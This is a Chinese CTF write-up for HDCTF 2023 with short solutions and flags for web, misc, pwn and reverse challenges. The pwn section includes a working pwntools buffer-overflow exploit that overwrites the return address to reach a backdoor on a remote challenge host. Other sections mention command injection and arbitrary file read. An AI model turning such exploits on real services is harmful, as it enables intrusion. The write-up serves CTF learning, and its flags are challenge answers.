关于

HDCTF 2023

SearchMaster

闭合命令执行得到flag

NSSCTF{bba9bf40-827f-49b9-9f97-46e82f0e155a}

Welcome To HDCTF 2023

签到题，js源码得到flag

NSSCTF{We13ome_t@_HDCTF_2o23}

YamiYami

任意文件读取，读环境变量得到flag

NSSCTF{dc72e126-c221-4b20-92de-8d26ddead12c}

HardMisc

签到题，010最后有base编码，解码得到flag

HDCTF{wE1c0w3_10_HDctf_M15c}

Pwnner

签到题，strand伪随机数，有种子值是57，能解出固定随机数

#include <stdio.h>

#include <stdlib.h>

#include <time.h>

 

int main() {

  srand(57);

  printf("%d\n", rand());

  return 0;

}

得到随机数为1956681178

然后剩下的就是基础的溢出到后门即可

Exp如下

from pwn import *

context.log_level='debug'

p = remote('node6.anna.nssctf.cn',28700)

#p = process('./pwnner')

payload = b'b'*(64+8)+p64(0x4008B6)

p.recvuntil("Welc0me t0 _HDctf__\n")

rand =b'1956681178'

p.sendline(rand)

p.recvuntil("ok,you have a little cognition about pwn,so what will you do next?\n")

p.sendline(payload)

 

p.interactive()

NSSCTF{612d3c69-453d-4092-a0af-37ee2881afaa}

ExtremeMisc

Binwalk分离出来一个压缩包

爆破压缩包密码为haida

解压得到Reverse.piz文件

010分析发现hex数据需要两两进行调转

脚本如下

with open('C:/Users/25963/Desktop/00000190/Dic/Reverse.piz', 'rb') as f:

  s = f.read()

 

t = [x // 16 + 16 * (x % 16) for x in s]

with open('C:/Users/25963/Desktop/00000190/Dic/x.zip', 'wb') as f:

  f.write(bytes(t))

得到压缩包,爆破压缩包密码为9724

应该是明文攻击，得到解压密码w98d@ud

HDCTF{u_a_a_master_@_c0mpRe553d_PaCKe1s}

easy_re

UPX壳

先进行脱壳

Base64解码得到flag

HDCTF{Y0u_h@v2_//@57er3d_7he_r3v3rs3}

easy_asm

32位无壳

异或，脚本如下

a = [
   78, 111, 116, 32, 101, 113, 117, 97, 108, 33,
   36, 69, 113, 117, 97, 108, 33, 36, 88, 84,
   83, 68, 86, 107, 90, 101, 99, 100, 79, 113,
   79, 117, 35, 99, 105, 79, 113, 67, 125, 109,
   36]
 for i in range(len(a) - 1):
   print(chr(a[i] ^ 16), end="")